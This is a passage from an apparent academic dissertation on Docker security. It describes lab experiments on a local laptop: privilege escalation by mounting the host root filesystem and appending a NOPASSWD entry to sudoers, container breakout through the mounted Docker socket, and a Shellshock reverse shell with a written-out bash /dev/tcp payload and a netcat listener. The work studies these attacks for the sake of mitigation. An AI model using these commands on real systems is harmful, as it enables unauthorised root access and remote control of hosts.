[bookmark: _Toc86859272]Docker Outside Threats
The security threats of Docker can come from anywhere because it involves various technologies in its surrounding. For this reason, it is more complex to secure the Docker ecosystem than other deployment technologies. Tomar and Jeena in [77] experimented with Dos attack on containers connected to the same network on Docker version 19.03.02. The authors utilise kali Linux tools hping3 and Nmap to carry out the attack by inundating packets to the target container. Further, they proposed a layered approach to group the various attack scenarios within the Docker ecosphere (container, host, application, and Docker engine). They also provide a detailed description and classification of all possible attacks on each layer, as seen in figure 6. This article presented and described the possible attacks in meticulous detail, though it covers fewer reference numbers.
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[bookmark: _Toc86858597]Figure 6: Docker attacks classification [77].
The researchers in [78] performed a comparative experiment with attacks to evaluate the security of Docker containers. They compared the attack surface of running a service in a container against a service running in a typical host machine. They installed Apache, MySQL, and Nginx on a Debian host. Simultaneously the authors created three different containers from Docker hub, one for each service. To run the experiment, they run Nessus scanner locally to detect the vulnerabilities on each side. Their findings indicate that containers expose to more vulnerabilities compared to VM or typical hosts [78]. 
The vulnerability analysis of Docker ecosphere comprises four main areas: isolation of file system within a container, host resource management, network, and process isolation, according to the study in [79]. The authors emphasise that providing more splendid isolation of files systems and processes running inside a container increases the security of Docker significantly. In addition, resources management using Cgroups helps to reduce the potential vulnerability threats significantly in Docker. Further, the authors briefly introduce the concept of various Linux capabilities features, including AppArmor, Seccomp and mandatory access control (MAC).
[bookmark: _Toc86859273]SUMMARY
In summary, this chapter provided a detailed literature review of current Docker security, focusing on previous related and relevant works to the subject and the development of the overall design of this project. Based on those works, the author concluded that privilege escalation and image misconfiguration are the primary security concern within Docker systems. The author has also realised that Docker involves multiple technologies, making it more complex to secure. As a result, it is more susceptible to multiple security attacks. In a nutshell, Docker is a new technology, and thus its security has not been tested adequately and requires much work to its improvement.
The next chapter will discuss the methodologies and strategies used to develop the project’s aims and objectives.















[bookmark: _Toc86859274]– RESEARCH METHODOLOGY 
[bookmark: _Toc86859275]OVERVIEW
This chapter discusses the research methods and approaches used to develop the research’s objectives and aims. The project aim is to conduct security attacks on Docker environment using misconfigured or poisoned images. This chapter outlines and discusses the research methodology based on the research onion philosophy, including the research approach, design, strategies, process, data collection, and methodology used in this study. The research methodology aims to provide the researcher with better familiarity with the project’s topic in concise and systematic methods. Such methods will provide the author with a clear structure of the road path to achieve the goals and objectives of the project.
[bookmark: _Toc86859276]RESEARCH PHILOSOPHY
This project aims to experiment with security attacks on a Docker environment with misconfigured images. In this case, data will be collected and interpreted during and after the experiment. Therefore, the positivism approach was used to deal with data methodology. Positivism philosophy is a method that argues through scientific evidence, such as observation, experiment, and logical reasoning, to prove or formulate a hypothesis. This project uses an experimental method to examine and investigate data, involving observation with specific data, and thus the project’s philosophy lies in the positivism category [80]. 
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[bookmark: _Toc86858598]Figure 7: Research onion [81].
[bookmark: _Toc86859277]RESEARCH APPROACH
The research onion comprises two approaches: deductive and inductive. The deductive approach is used to test a hypothesis based on an existing theory, while the inductive approach is applied in developing a theory [82]. As for this project, deductive reasoning was applied through an extensive literature review on prior study findings to validate and test the project’s hypothesis. The literature review was conducted on previous studies similar to the project’s topic to grasp the methods and techniques used to conduct the experiment in achieving the project’s goals. Thereby, deductive reasoning was used to prove or disprove the experimental results by comparing them with the previous studies. Therefore, this project will deduct the conclusion with the help of the experimental research and data obtained. The reasons why the researcher used the deductive approach for this project are covered in the following sub-sections, providing supportive arguments.
[bookmark: _Toc86859278]Literature Reviews
According to Yasrib in [51], Docker is vulnerable to various security vulnerabilities if used without appropriate configurations. Based on prior research and theory, Yasrib hypothesised that Docker is vulnerable to security threats, such as Dos, ARP spoofing, MitM, poisoned images, privilege attacks, etc. The author found support for his hypothesis from Docker documentation and other related works.
[bookmark: _Toc86859279]Experimental Approach 1
In a study by Tomar and Jeena in [77], Docker security is not mature yet. The authors formulated their hypothesis from their literature review on previous works related to the topic. Next, they tested the hypothesis by experimenting with Dos attack on Docker containers and analysing the data during and after the attack. With such an approach, their Dos attack was successful, supporting their hypothesis.
[bookmark: _Toc86859280]Experimental Approach 2
In another study in [78], Docker is more vulnerable compared to VM. To develop their hypothesis, the authors researched based on prior works related to the topic, specifically Docker and VM architecture. To test their hypothesis, they setup two servers, one for VM and one for Docker containers, each with the same services and OS installed. Then, they run a vulnerability scan to examine the risk level of each host. The authors found support for their hypothesis, showing that containers are more exposed to security vulnerabilities compared to VM.
[bookmark: _Toc86859281]RESEARCH STRATEGY
The strategies used to undertake this project involves research, experiment, and software development. The research strategy included a literature review and background study on the Docker technology and was conducted using various sources, including google scholar, IEEE explorer, journals, and academic scholars. The background research aim was to gain better understanding of Docker ecosystem in general, specifically into fields related to the project’s subject. The literature review strategy comprised works similar to this project topic done by others, focusing more on current Docker security attacks and their remediation methodologies to assist the experiment process. This included critical information, including tools used, the attacks performed, and the experiment set up.
Further, this project utilised scripts to run and build Docker images as a software development strategy. Finally, the experiment strategy comprised both hardware and software tools to perform the security attacks. The experiment process is predominately constructed based on the critical information gained from the literature review and is conducted on Ubuntu version 20.04 with Docker installed. Each attack was experimented using different Docker images and containers, where all the containers use the default bridge network mode to communicate. Lastly, data from each attack process is collected and compared with the relevant data gained from the literature review to conclude.
[bookmark: _Toc86859282]TIME HORIZONS
This project uses a cross-sectional approach as its time frame to study, collect and observe data. Cross-sectional is more apt for short term study, involving collection and observation of data at a given point of time. As for this project, the result of the experiment is collected and observed over a short period of time, and thus this project uses a cross-sectional method as data collection and observation occur only during the experiment.
[bookmark: _Toc86859283]DATA COLLECTION AND ANALYSIS
Throughout the development of this project, data is collected through various methods and techniques, including research, experimentation, and observation, to examine Docker security and provide future recommendations. The data is collected using secondary sources, such as academia and journals related to the project topic. This data is then used to assist and develop the experiment. Then results obtained from the experiment are compared and analysed to literature review findings to conclude the project. In addition, this project involves collecting data during the experiment through the observation method, which includes screenshots and videos to provide proof and illustrate reasons. Lastly, the results of the experiment are measured against the success or failure of the attacks.
[bookmark: _Toc86859284]RESEARCH DESIGN
A research design is a blueprint or framework containing all the methods and techniques of the research in a comprehensible and logical way. As for the project, the research design supports a multi-method approach, containing six different components, as shown in figure 8. The second phase contains the literature review, which is the core element of the research process for this project. This phase assists the author to study and gain useful information from prior related works and critically analyse the results obtained from the experiment process. Also, the information gained from this phase has significant importance to execute and establish the experiment process. The result obtained during the experiment is compared and evaluated to this phase to validate and determine the project’s outcome.
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[bookmark: _Toc86858599]Figure 8: the research design process.
[bookmark: _Toc86859285]DELIVERABLES
The project includes research, experiment, and implementation processes to reach its goals. The research part assists the author to get a solid understanding of the topic and construct the implementation of the attacks. Also, the experiment is conducted based on the information and knowledge gained from the literature review, and then the result is compared and analysed to the findings of the literature review to verify and conclude the outcome of the experiment. In general, the project provides the following deliverables upon its completion:
· The various techniques and methods used to launch the attacks using videos and screenshots.
· Vulnerable targets of the attack.
· The outcome of the experiment either as successful or failed.
· Provide mitigation techniques to the successful attacks.
· Analysis of the results.
· Identify the vulnerabilities and provide remediation techniques based on the literature review.
[bookmark: _Toc86859286]RISKS & LIMITATIONS
As part of a project, it is a good practice to identify and analyse the risks during a project development process in order to complete and achieve the project’s goals on time and to high-quality standards. The project uses an Ubuntu laptop to conduct the attacks within the Docker environment. Many potential risks inside or outside could affect or delay the project, mainly associated with the Ubuntu laptop and Docker services. One of the risks is that the Docker software can crash or fail during the experiment, leading to potential data loss or damage. To avoid such risks, all data is regularly backed up on the university’s drive, ensuring reliability and accuracy. Also, the author installed Ubuntu on a virtual box on another laptop as a reserve in case the first laptop failed.
Further, the project has a limited time to be completed, and thus external factors and poor time management can adversely affect the project’s progress. Therefore, a Gantt chart is used to monitor and manage each task effectively, and more time is given to the critical tasks of the project. Besides, this project involves conducting security attacks on the Docker environment. Security breaches can occur due to many reasons, such as negligence, misuse of tools, and accident. For such cases, an ethical form is signed, and the attack is carried out on a locally setup Docker.
On the other side, this project has several limitations. Firstly, the project’s main research body is limited to examine Docker security with misconfigured or poisoned images. It is also limited to use Docker images of the Debian family, such as Ubuntu and centos. Besides, the project scope is on Docker only, and therefore other containerisation technologies are not included and considered. In addition, the security attacks do not involve any production environment.
The project’s main cornerstone is the literature review part. However, as Docker is a recent technology, there is not that much research about it. In addition, the author lacks deep knowledge and understanding of the research topic and may affect the project’s outcome. Further, the time given for the project is minimal and tight and may impact the project’s quality and performance.
[bookmark: _Toc86859287]RESOURCES AND PLANNING
The resources used in this project are the following:
· A laptop with internet connection.
· Ubuntu OS 
· Docker 
· Academic journals, such as google scholar, IEEE digital library etc.
· Microsoft office packages and Gantt chart.
· Text editor, like vim for writing Docker images scripts.

The project’s plan is created based on the research design process (see figure 8 on the above), containing six main components. Figure 9 shows the project plan with the key milestones.

[bookmark: _Toc86858600]Figure 9: the project plan.


[bookmark: _Toc86859288]SUMMARY
This chapter covered the various approaches and methodologies used to develop the project in a systematic view and coherent way. The project uses experiment and observation methods through scientific evidence to examine Docker security, and thus uses positivism as its research philosophy. It also uses cross-sectional time horizon as data is observed and collected in a short period of time. Data is collected through research, experiment, and observation, and using secondary sources, such as google scholar and IEEE library. This chapter has helped the author to establish a structured view of the project in order to achieve its objectives.
The following chapter presents the design and implementation process used for the experiment. 















[bookmark: _Toc86859289]- DESIGN AND IMPLEMENTATION
[bookmark: _Toc86859290]Overview
In recent years, containerisation has become the prominent technology for portability, scalability, reliability, and speed, replacing the traditional VM technology. By far, Docker is now the most popular container technology. However, its security platform has not been tested enough and thus creates a big security concern for Docker users, developers, and enterprises. This chapter outlines the design and implementation of conducting security attacks on Docker environment based upon the information and knowledge gained from the literature review. It also covers all the hardware and tools used, as well as the implementation process of each attack.
[bookmark: _Toc86859291]PROBLEM FORMULATION
Docker has become the dominant technology in the containerisation industry for many reasons, including speed, flexibility, scalability, and portability. Docker is an extension of LXC and thus has many similarities with Linux OS. In Docker, images are the building blocks to build a Docker container and are stored in public or private repositories. By default, Docker uses the Docker hub as its public repository, enabling users to pull or push images. Simply put, Docker hub is much like google or apple store, where everyone can download or upload their images. Therefore, a malicious user can insert a code into an image and upload it to the Docker hub, and someone can pull that image, more likely to expose the containers and the host to the attacker. An attacker can also gain access through an image that is not configured correctly. Therefore, this project aims to answer the security implications of running untrusted Docker images, as well as on how attackers gain access through vulnerable or misconfigured images.
Figure 10 outlines the various approaches and tools used to solve the above problem. As it can be seen, three different attacks comprising privilege escalation, container to host, and vulnerable application are used to demonstrate the security strength of Docker containers. The privilege attack uses a user with a limited privilege and a Docker image incorrectly configured to access the host machine, while the container to host attack runs two containers with different configurations to access the host. The third scenario is using a vulnerable application downloaded from the Docker hub. In such a scenario, two containers as attackers used to conduct remote execution through the vulnerable application. Most tools used are Linux, and Docker commands, with a few exceptions. Further, the three attacks use a single Ubuntu laptop with Docker installed. An extended and detailed diagram of each attack can be found below in the design section. 
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[bookmark: _Toc86858601]Figure 10: methods and techniques of the various attacks.
[bookmark: _Toc86859292]DESIGN
This project aims to examine Docker security with regards to vulnerable applications, misconfigured or poisoned Docker images. This project involves three different attacks to analyse Docker security utilising various approaches and tools, shown in figure 10. The project’s design is developed based on the information and data gained from the literature review. The three types of attacks chosen were privilege escalation, container to host, and vulnerable application, as they are the most common security threats used by threat actors, according to the study in [51]. In addition, such attacks are inclusive and embody both inside and outside threats of the Docker environment. The privilege escalation and container to host attacks illustrate the inside threats, while the vulnerable application demonstrates the outside threats to the Docker ecosphere.
The initial plan of the experiment was to use gns3 software as a platform to execute the attacks; however, the gns3 crushes several times, and thus the author used an Ubuntu laptop with the latest Docker engine version 20.10.7 packages installed. In this project, Docker is the central hub and is utilised to manage and run containers. The containers communicate between each other and the host machine through the default Docker network bridge. For the privilege escalation and container to host attacks, the author built the images locally to create and run containers, while the last approach utilises an application vulnerable to shellshock downloaded from the Docker Hub.
The privilege attack utilises a single container using unprivileged user to access the host machine by exploiting vulnerabilities, as shown in figure 11. The image is built locally by a user with limited permission but is also part of the Docker group. The attacker exploits the code intending to escape and access the Ubuntu laptop with root privilege. The author uses an Ubuntu laptop and Docker engine to carry out the attack. The Docker image is created based on a Linux distribution wheezy because it is lightweight [83].
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[bookmark: _Toc86858602]Figure 11: Privilege escalation block diagram.
On the other hand, the container to host approach design involves three containers with different setups and purposes to process and demonstrate the attack, as shown figure 12. The key objective of this attack is to access the victim machine, in this case, the Ubuntu laptop, by exploiting the misconfigured Docker image. The first two containers use very similar configurations, with the only difference is one supports SSH connection, and the other does not. While the third container uses an image pulled from the Docker Hub and is based on Linux alpine distribution as it is lightweight and is used to install and run some packages [84]. In addition, vim software is used as a text editor to write a script for the first two containers. The containers are also enabled to communicate through the default Docker0 bridge using their default IP address. The complete network diagram of the Docker environment is illustrated in figure 12, designed on draw.io.
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[bookmark: _Toc86858603]Figure 12: network diagram of the connected containers.
The primary purpose of the last attack is to examine Docker security using a vulnerable application downloaded from the Docker Hub repository. The application runs a simple webpage and is vulnerable to shellshock exploit. Shellshock is a Unix bash vulnerability that allows an attacker to execute arbitrary commands either remotely or locally with high authority. It was first released on 24 September 2014 and is now publicly disclosed on the CVE database as CVE-2014-6271 [85]. Therefore, in this attack, the container with the vulnerable application is the victim, and the rest two are alpine containers pulled from the Docker Hub used as hijackers. Figure 12 illustrates the block diagram with the three containers running on the Docker host. This attack uses Netcat to monitor the traffic flow between the container and the victim container [86]. It also utilises tools used similar to the other two attacks, including Linux and Docker commands.
[image: ]
[bookmark: _Toc86858604]Figure 13: Network topology with the vulnerable application.
[bookmark: _Toc86859293]IMPLEMENTATION
This section discusses the implementation process step by step of each attack used. The author used a single laptop with Ubuntu release 20.04 and Docker version 20.10.7 installed to execute the attacks on the designed Docker ecosystem, and they are the essential tools of this project. Both the tools are installed with their latest version in order to examine and provide a clear picture of the current Docker security challenges. Although the experiment uses a single host, it is also possible to replicate the same attacks with multiple machines connected via a network. First, the Ubuntu kernel version is verified, as shown in figure 14, and then the implementation process starts with installing and verifying the Docker engine on the Ubuntu laptop, using the command shown in figure 15. 
[image: ]
[bookmark: _Toc86858605]Figure 14: Checking Ubuntu version.
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[bookmark: _Toc86858606]Figure 15: installing Docker engine on the host machine.
The screenshot below verifies the Docker version installed on the host machine. The Docker engine installed is version 20.10.7 and is the latest.
[image: ]
[bookmark: _Toc86858607]Figure 16: verification Docker engine.
Further, this project uses a single laptop using Ubuntu OS. The specifications of the laptop used is presented in figure 17.
[image: ]
[bookmark: _Toc86858608]Figure 17: the laptop specifications.
[bookmark: _Toc86859294]SUMMARY
This section presented the design and implementation process for the aimed attacks. All the attacks will be conducted on a single Ubuntu laptop with OS version 20.04 and Docker version 20.10.7 installed.
Following chapter covers the execution procedures and methods applied to undertake of each attack step by step.
















[bookmark: _Toc86859295]-TESTING AND EXPERIMENTING
[bookmark: _Toc86859296]Overview
This chapter will provide the techniques and procedures used to undertake of the attacks discussed in the previous chapter. All the steps taken to execute each attack are presented in screenshots along with a brief explanation of the commands and methods applied.
[bookmark: _Toc86859297]Privilege Escalation Attack
This attack’s primary purpose is to show how a user with limited privilege can elevate to a root user. Therefore, a user is created on the host machine using the command shown in figure 18 and is verified as shown in figure 19.
[image: ]
[bookmark: _Toc86858609]Figure 18: user created on the host machine.
[image: ]
[bookmark: _Toc86858610]Figure 19: output of cat /etc/passwd command on the host.
Further, the attacker is created with no permission to run any root commands. The output of the sudo visudo command shown in 20 verifies that the attacker user is not a member of the root users. However, the ultimate goal is to compromise and control the host machine without knowing its root password and elevate the attacker to the root groups.
[image: ]
[bookmark: _Toc86858611]Figure 20: output of sudo visudo.
However, the user also needs to have Docker permission in order to interact with Docker. Thus, the user is added to the Docker group using the command in figure 21. This implies that the user can run and interact with Docker. Figure 22 is the output of the getent group Linux command, showing that the attacker is part of the Docker group.

[image: ]
[bookmark: _Toc86858612]Figure 21: user added to the Docker group.
[image: ]
[bookmark: _Toc86858613]Figure 22: output of the getent group command.
The following steps and procedures have been used to build the platform for the attacker using Dockerfile.
1. A file directory named escape is created on the home directory of the attacker user, as shown in figure 23. Its primary purpose is to store and save the Dockerfile created by the attacker. 
[image: ]
[bookmark: _Toc86858614]Figure 23: creating file directory for the attacker.
2. The Dockerfile shown in figure 24 is created using a vim text editor. It is built based on wheezy, lightweight Linux Debian distribution. This Dockerfile provides the baseline to create an image, enabling the attacker to mount the whole file system automatically. The ENV variable is used to specify where the attacker wants to work. Simply put, it is used as a working directory acting as the mount point for the file system. The RUN command executes mkdir to create a directory where the Docker image works within the current or parent directory, in this case, within the /attacker ENV variable. Eventually, this Dockerfile allows the attacker inside a container to mount the whole file system of the Docker host machine.
[image: ]
[bookmark: _Toc86858615]Figure 24: creating the Dockerfile.
3. At this stage, the Docker image is ready and is built using the command shown in figure 25. The image is tagged as attacker just for simplicity and clarity, but it can also be tagged with different names.
[image: ]
[bookmark: _Toc86858616]Figure 25: run the Docker image.
4. A container is then created with the command shown in figure 26. The command specifies a volume that allows to mount the host’s root file system and put it in the working directory defined in figure 24, which is /attacker. Also, the container is defined to run in interactive mode, enabling the attacker to execute bash commands on the container. The output shows that the user has a root privilege within the current Docker instance or container. This means that the attacker has root access to the target’s file system, the Ubuntu laptop.
[image: ]
[bookmark: _Toc86858617]Figure 26: A container with volume mounted, giving shell access.
5. The attacker can run root commands within the container and thus edit the sudoers file system on the Ubuntu laptop, as shown in figure 27. However, the attacker cannot run vim or nano text editors as they are not installed on the container.
[image: ]
[bookmark: _Toc86858618]Figure 27: access to the host’s sudoers file system.
6. However, the attacker can echo and append the syntax to the sudoers files using the commands given in figure 28. The syntax “attacker ALL=(ALL) NOPASSWD: ALL” permits the attacker to run commands using sudo without a password and is appended to the mount point /attacker/etc/sudoers. At this point, the attacker escalates his/her privilege to a root user and now can run any root commands on the Ubuntu laptop.
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[bookmark: _Toc86858619]Figure 28: appending the syntax to run sudo commands without password.
7. Figure 29 shows the evidence that the attacker has now the ability to run any sudo commands as a root without supplying a password. As a result, the attacker manages to be part of the sudoers group using the privilege escalation technique. This means that the attacker becomes a root user and can run any commands on the host machine.
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[bookmark: _Toc86858620]Figure 29: the attacker user is added to the sudoers.
[bookmark: _Toc86859298]Container breakout 
This attack utilises a simple SSH service to demonstrate container to container attack or known as container breakout, and also container to host attack. The attack mainly uses two Dockerfiles: one with SSH port exposed and the other without SSH enabled. In addition, an alpine Docker image pulled from Docker Hub is used to add necessary tools and packages during the exploitation. Therefore, for this attack, the implementation process starts creating the two Docker images locally. The first Dockerfile installs and configures OpenSSH server when a container starts, as shown in figure 30. OpenSSH is a protocol that provides a secure communication between hosts over a network [87, 88]. The Dockerfile is created based on Ubuntu 16.04 base image. It also sets the root password to “attacker” inside the Docker container, as shown in the figure, on line 4. 
Further, it exposes the default SSH port 22 to allow the Docker container to listen on this port. Finally, it starts the OpenSSH in the background when the container is started. Similarly, the second Dockerfile is analogous to the first Dockerfile, except it does not expose the SSH port 22 on the containers, as shown in figure 31. For clarity, each Dockerfile provides comments for each command used to create the Docker images files, as shown in figures 30 and 31.
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[bookmark: _Toc86858621]Figure 30: Dockerfile for OpenSSH-server with SSH port exposed.

[image: ]
[bookmark: _Toc86858622]Figure 31:Dockerfile with no SSH port exposed.
Next, the first image for the SSH enabled is created using the Docker commands shown in figure 32. The image is tagged as ssh_enabled just for simplicity and clarity. The Docker engine then creates a virtual environment (container) for the OpenSSH server application based on the instructions and commands of the base image. Similarly, the second image is created using the commands given in figure 33, tagged as ssh_disabled.
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[bookmark: _Toc86858623]Figure 32: image created for the SSH enabled application.

[image: ]
[bookmark: _Toc86858624]Figure 33: Docker image created for the NON-SSH application.
At this stage, the templates to create an image for each application are already created. Now, it is time to launch a container for each application based on the previously defined images. The primary purpose of creating containers is to run applications in isolated environment with their networking and file systems wholly separated from the host. Therefore, the two containers are launched according to their base image defined, as shown in figure 34. The first container is launched based on the ssh_enabled image and thus exposes port 22 to the host (Ubuntu). The container is also set to run in the background with the name con_ssh. The second container runs with the name con_nossh created based on the ssh_disabled image in the background but without forwarding its port 22. The containers are given names just for simplicity and clarity, although to run containers without names is possible. Figure 34 illustrates the commands used to launch each container. 
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[bookmark: _Toc86858625]Figure 34: launching the two containers.
Additionally, an alpine image-based container is created, as shown in figure 35. As mentioned above, alpine is a super lightweight Linux Debian image and therefore takes less time to deploy compared to other base images, like Ubuntu. Also, most base images came with minimal features and packages. Therefore, the alpine image is used to add and run the missing packages in the other two containers. Thus, the attacker can use the alpine container to add tools and gather accurate information. The alpine container is launched using the commands shown in the figure below. First, the alpine image is pulled from the Docker Hub repository, and then an interactive container that provides access to the system shell is created with the name apline1. As such, this will enable the user to execute shell commands.
[image: ]
[bookmark: _Toc86858626]Figure 35: Alpine container with access to the shell.
Next, the containers are tested and verified, as shown in figure 36, and they are running as expected. As it can be seen, the SSH port 22 of the con_ssh container is forwarded to the host TCP port 49153.
[image: ]
[bookmark: _Toc86858627]Figure 36: testing and checking the containers.
As discussed previously, Docker containers run in their virtual environment wholly separated from the host, similar to virtual machines (VM). This means containers have their own space, containing networking, file system, and isolated processes. Docker uses its default bridge network system to connect containers, though it offers various other options. As for this project, the containers are shaped to use the bridge network. The three containers are on the same Docker host, the Ubuntu laptop; however, they are completely isolated from it. Figure 37 is a portion output of docker network inspect bridge command. As can be seen, the important points are highlighted for brevity. The containers are assigned with default IP address generated by the Docker engine as the following list:
· 172.17.0.2/16 to container con_ssh.
· 172.17.0.3/16 to container con_nossh.
· 172.17.0.4/16 to container alpine1.
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[bookmark: _Toc86858628]Figure 37: output of Docker network inspect bridge.
The command in figure 38 is used to obtain and find the port forwarded to the host machine. The results show that port 22 of container con_ssh is forwarded to the host TCP port 49153. This means that any external host can access the container through the host port 49153.
[image: ]
[bookmark: _Toc86858629]Figure 38: port published to the host.
Consequently, the author was able to ssh into the exposed port of con_ssh via the forwarded port 49153, as shown in 39. As mentioned above, the root user password is attacker. Even external hosts to the Docker host can also access the container via this forwarded port.
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[bookmark: _Toc86858630]Figure 39: ssh into the con_ssh via the forwarded port.
The containers communicate with each other as they are connected to the same default virtual bridge. However, the default Docker network bridge does not have the capabilities to filter network traffic or packets. This means that external hosts or any other containers can exploit the vulnerabilities of the bridge and access the inside containers. To exploit such vulnerabilities, the first container (con_ssh) is configured, exposing port 22 to allow ssh connections from the Docker host and external hosts, as well as containers. Conversely, the second container (con_nossh) accepts neither ssh nor any other connections. The aim is to compromise the second container from the host through its bridge IP address, although its ssh port is disabled. As shown in figure 40, the con_nossh container is logged into from the Ubuntu machine. This implies that external hosts that can see the Docker host can also access the con_ssh container through the port shown in figure 39.
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[bookmark: _Toc86858631]Figure 40: host ssh to the con_nossh container.
Alternatively, the con_nossh also accepts ssh connections from the con_ssh container, though its ssh port is not exposed. This is mainly because the default network bridge does not filter traffic coming from containers connected to the same virtual bridge. Figure 41 shows ssh connection from the ssh exposed container to the non-exposed container.
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[bookmark: _Toc86858632]Figure 41: ssh from con_ssh to con_nossh.
Similarly, the attacker (alpine) container accessed the non-ssh container, as shown in figure 42. At this point, the attacker can exploit the container environment by updating packages and necessary tools, as the alpine base image includes most command-line tools. Thus, the attacker can leverage the features of the alpine image to further his/her attacks on the compromised container.
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[bookmark: _Toc86858633]Figure 42: Alpine ssh to the con_nossh container.
Attackers also need to track which systems or resources they have landed, especially exploring, and exploiting the Docker environment. In such cases, the attacker can use the Linux command in figure 43 to identify the system. The output shows that the attacker landed on a container.
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[bookmark: _Toc86858634]Figure 43: identifying the systems.
So far, the attacker is inside the Docker environment. However, how can the attacker escape to the Docker host? In this instance, the attacker launched another container, mounting the Docker socket to run Docker commands and access the host system, as shown in figure 44. This container allows the attacker to run Docker commands because it is mounted to the Docker daemon socket via API. Simply put, the volume /var/run/docker.sock is shared with the container. The /var/run/docker.sock is a Unix domain socket that allows different processes to communicate. Therefore, this container can run Docker-like things on the Docker host.
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[bookmark: _Toc86858635]Figure 44: launching Docker container mounted to the Docker daemon.
By default, Docker daemon listens to API calls on /var/run/docker.sock Unix socket. Also, containers communicate with the Docker daemon through this Unix socket, and thus the attacker can access the host system and bypass one level, as shown in figure 45. The docker -H unix:///var/run/docker.sock ps -a command enabled the attacker to access the host shell and identify other containers running on the Docker host.
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[bookmark: _Toc86858636]Figure 45: identifying things on the host system.
At this stage, the attacker can also see what images are running on the Docker host. The output in figure 46 shows all the Docker images on the host system.
[image: ]
[bookmark: _Toc86858637]Figure 46: Docker images on the host.
The attacker can also run another interactive container inside the container to further exploit the host system. In such a case, a Linux distro busybox Docker image is used to create a container that provides shell access and mounts the root to the host filesystem on the host. The commands used to create such a container are presented in figure 47.
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[bookmark: _Toc86858638]Figure 47: Creating busybox container.
The author leveraged the above container to explore and exploit the host system, as shown in figure 48. The attacker has root privilege and thus can modify, delete, and create files on the host machine.
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[bookmark: _Toc86858639]Figure 48: Exploring the Docker host directories.
[bookmark: _Toc86859299]Vulnerable Application 
An application is downloaded from the public Docker Hub repository, which is vulnerable to shellshock attacks. The container to run this application is started using the Docker commands shown in figure 49. This particular container exposes port 80 and maps to port 8080 on the host; and thus, external hosts can access the application via port 8080, as shown in figure 50. Also, the container starts with a name exploit. In addition, the application is created using CGI script under the /usr/lib/cgi-bin directory on the victim container. CGI is an executable program, usually used to handle user requests and for processing data on a web server [89]. 
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[bookmark: _Toc86858640]Figure 49: Starting the container for the application.
The screenshot below shows the application is accessed from the host machine via port 8080.
[image: ]
[bookmark: _Toc86858641]Figure 50: Accessing the application via the mapped port.
In addition, two alpine based containers are used to exploit the vulnerability of the application. The first container is used to execute the reverse shell command, and the second uses netcat tool to listen to any incoming packets on port 4444. Also, both containers are launched in interactive mode with the capabilities to execute shell commands. The first container is named Attacker1, while the second one is Attacker2. Figure 51 illustrates the Docker commands used to run the Attacker2 container. Similarly, the other container is started with the name Attacker1.
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[bookmark: _Toc86858642]Figure 51: Attacker2 container.
The output of docker ps command in figure 52 shows that all the running containers.

[image: ]
[bookmark: _Toc86858643]Figure 52: All running containers.
The containers are connected to the same network bridge. Figure 53 shows the containers are using their default IP address.
[image: ]
[bookmark: _Toc86858644]Figure 53: IP addresses of the running containers.
The main purpose of this attack is to a launch shellshock attack on the web server container. From the above, the application is using an IP address 172.17.0.2 and is connected to the same LAN as the others two containers. Curl and netcat tools are also added on the attacker’s containers. The curl tool will allow the attackers to control the fields in an HTTP request [90]. The application is vulnerable so that the attacker used the curl command to gain access to the web server container’s /etc/passwd, as shown in figure 54.
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[bookmark: _Toc86858645]Figure 54: Accessing the /etc/passwd directory on the web server.
In addition, a reverse shell attack is launched on the vulnerable application. This will enable the attacker to control the victim’s input and output remotely because the application runs cgi scripts exploitable to reverse shell. To achieve this attack, the author used two containers. The first container is used to execute curl script to start a bash shell on the victim container, as shown in figure 55. While the second container is used to run netcat command and wait for the connection on port 4444. The commands used in figure 55 are explained below.
· Curl -H “user-agent” - sends http header to the server.
· /bin/bash -c - invokes the bin/bash shell.
· /bash -i - starts the bash for interactive mode so that it provides shell prompt to the attacker.
· >& /dev/tcp/172.17.0.4/4444 – redirects the output of the shell to the 172.17.0.4 (Attacker2 container) on port 4444 of TCP connection.
· 0>&1 – tells the system to use standard output (1) as standard input (0) from the victim.
· “http://172.17.0.2:80/cgi-bin/vulneable” – the victim’s container.
In a nutshell, the command ‘bash -I >& /dev/tcp/172.17.0.4/4444 0>&1’ launches a bash shell on the victim’s container, with TCP connection coming from port 4444. Thus, it allows the attacker to connect back to the netcat listener on 172.17.0.4, as shown in figure 56. Now, the attacker managed to connect to the target container and can run any commands shown in figure 57.
[bookmark: _Toc86858646][image: ]Figure 55: reverse shell commands.
[image: ]
[bookmark: _Toc86858647]Figure 56: Netcat listener on Attacker2 container.
Figure 57 shows the attacker was able to list the files content on the target container remotely.
[image: ]
[bookmark: _Toc86858648]Figure 57: Attacker lists the files on the target container.
[bookmark: _Toc86859300]SUMMARY
This chapter illustrated the security stance of Docker using three different attacks. The procedures and approaches used for each attack were documented with screenshots. The author has faced several challenges in testing and experimenting for each attack, as this chapter requires more knowledge and skills on Docker architecture and Linux commands. However, the attacks were completed successfully.
The next chapter will discuss in detail the results obtained from the experimentation of each attack.


















[bookmark: _Toc86859301]- RESULTS AND DISCUSSIONS
[bookmark: _Toc86859302]Overview
This chapter will discuss and analyse the results obtained from running the experiments of each attack. The author will compare and justify the results with the literature review to decide whether the attacks were successful or not. Further, it will provide various mitigation methods for each attack. Moreover, this chapter will evaluate the outcomes, determining whether the aims and objectives of this project have been achieved.
[bookmark: _Toc86859303]RESULTS
This section presents the results of each attack demonstrated in the previous chapter. The results are divided into three sections representing each attack.
Privilege escalation
In this attack, a standard user was able to escape his/her privilege to root user by taking advantage of becoming a Docker group. Initially, the user has no privilege to run root or sudoers command, as shown in figure 58. However, the user was added to the Docker group to run any Docker commands on the host. As a result, the user created a Dockerfile script that allows him to mount the entire working directory of the host to the running instance container.
[image: ]
[bookmark: _Toc86858649]Figure 58:Before the attack
Therefore, the attacker launched a container based on the Docker image that provides an interactive shell, as shown in figure 59. The command “-v /:/attacker” paves the way to the attacker as the root directory “/” on the host is accessible in the “/attacker” directory of the container. The container also provides the attacker with shell access to run bash commands inside the container. The Docker commands in figure 59 granted the attacker with root privilege inside the container but not in the host machine. However, the attacker has access to the entire host root directory because the root volume “/” is mounted to the attacker’s working directory. Thus, the attacker escaped one level and added himself to the sudoers file using the commands shown in figure 28 on the above. Finally, the attacker was able to run bash commands without supplying or knowing the root password, as shown in figure 60.
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[bookmark: _Toc86858650]Figure 59: A container launched based on the base image attacker.

[image: ]
[bookmark: _Toc86858651]Figure 60: After the attack.
